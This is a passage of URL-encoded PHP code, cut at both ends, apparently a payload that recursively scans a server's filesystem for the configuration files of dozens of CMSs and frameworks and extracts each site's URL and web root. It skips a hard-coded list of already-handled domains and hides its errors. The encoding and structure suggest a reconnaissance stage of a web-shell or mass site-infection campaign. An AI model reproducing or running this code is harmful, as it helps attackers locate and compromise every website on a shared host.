%20%20%7D%20%20%20%20%20%24server%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgServer%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24server%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24script%20%3D%20%27%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24wgScriptPath%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24script%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24server%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20rtrim%28%24server%2C%20%27/%27%29%20.%20%24script%2C%20%27mediawiki%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_typo3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27TYPO3%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27typo3%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27typo3conf%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27base%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%27wwwURL%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DbaseURL%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27typo3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_modx%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27modx%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24table_prefix%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27MODX_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24modx_site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5Dsite_url%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27modx%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_processwire%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27ProcessWire%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24config-%3EhttpHosts%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2Aarray%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2A%5C%5C%5B%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%28strpos%28%24c%2C%20%22httpsForce%22%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24c%2C%20%22%27https%27%22%29%20%21%3D%3D%20false%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27site%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24host%2C%20%27processwire%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_october%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27activeTheme%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27backendUri%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Durl%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27october%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_craft%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27CRAFT_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27PRIMARY_SITE_URL%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24url%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2APRIMARY_SITE_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20elseif%20%28preg_match%28%22/%5E%5Cs%2ACRAFT_BASE_CP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24url%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24web%20%3D%20%24doc%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24web%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20%24web%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27craft%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_shopware%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%24is_sw%20%3D%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_dir%28%24root%20.%20%27/custom/plugins%27%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_file%28%24root%20.%20%27/composer.json%27%29%20%26%26%20strpos%28%28string%29%40file_get_contents%28%24root%20.%20%27/composer.json%27%29%2C%20%27shopware/%27%29%20%21%3D%3D%20false%3B%20%20%20%20%20if%20%28%21%24is_sw%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%40is_file%28%24root%20.%20%27/artisan%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pub%20%3D%20%24root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20emit_found%28%40is_dir%28%24pub%29%20%3F%20%24pub%20%3A%20%24root%2C%20%24m%5B1%5D%2C%20%27shopware%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_laravel%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27laravel%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5Cs%2A%5C%5B%5Cs%2A%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%5C%5D%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27codeigniter3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter4%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24baseURL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27codeigniter4%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_cakephp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2Aenv%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5B%5E%27%5C%22%5D%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%20.%20%27/webroot%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_webroot%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_webroot%2C%20%24m%5B1%5D%2C%20%27cakephp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_symfony%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20if%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%20%7C%7C%20%40is_dir%28%24path_root%20.%20%27/custom/plugins%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5E%5Cs%2APUBLIC_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/bin/console%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%24path_public%3B%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_web%20%3D%20%24path_root%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%40is_dir%28%24path_web%29%20%3F%20%24path_web%20%3A%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_out%2C%20%24m%5B1%5D%2C%20%27symfony%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_kohana%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20%28strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%3F%20dirname%28dirname%28%24p%29%29%20%3A%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24path_root%2C%20%24m%5B1%5D%2C%20%27kohana%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_fuelphp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_fuel%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24path_fuel%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27fuelphp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_bitrix%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24p%2C%20%27bitrix%27%29%20%3D%3D%3D%20false%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dvalue%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27bitrix%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20%24existed%20%3D%20%5B%22pdrelaxguesthouse.dev%22%2C%22gymdailyfitness.com%22%2C%22affisecret.com%22%5D%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%09%09%09if%20%28%24path%20%3D%3D%3D%20%27/%27%20%7C%7C%20%24path%20%3D%3D%3D%20%27%27%29%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%24file%3B%20%09%09%09%7D%20else%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%27/%27%20.%20%24file%3B%20%09%09%09%7D%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20false%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24existed%20as%20%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24p%2C%20%24domain%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20true%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24found%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_wp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27configuration.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21scan_joomla%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_whmcs%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27sites%5C%5C%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_drupal%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalSettings.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_mediawiki%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalConfiguration.php%27%20%7C%7C%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27typo3conf%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27typo3%27%29%20%21%3D%3D%20false%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_typo3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.inc.php%27%20%26%26%20%28strpos%28%24p%2C%20%27modx%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27core/config%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_modx%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27parameters.php%27%20%7C%7C%20%24file%20%3D%3D%20%27settings.inc.php%27%29%20%26%26%20%28strpos%28%24p%2C%20%27/config%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27/app/%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%204000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27database_host%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27_DB_SERVER_%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27prestashop%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27ps_%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_prestashop%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27env.php%27%20%26%26%20%28strpos%28%24p%2C%20%27app/etc%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27app%5C%5Cetc%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_magento%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27cms.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_october%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%20%26%26%20strpos%28%24p%2C%20%27/site/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_processwire%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%2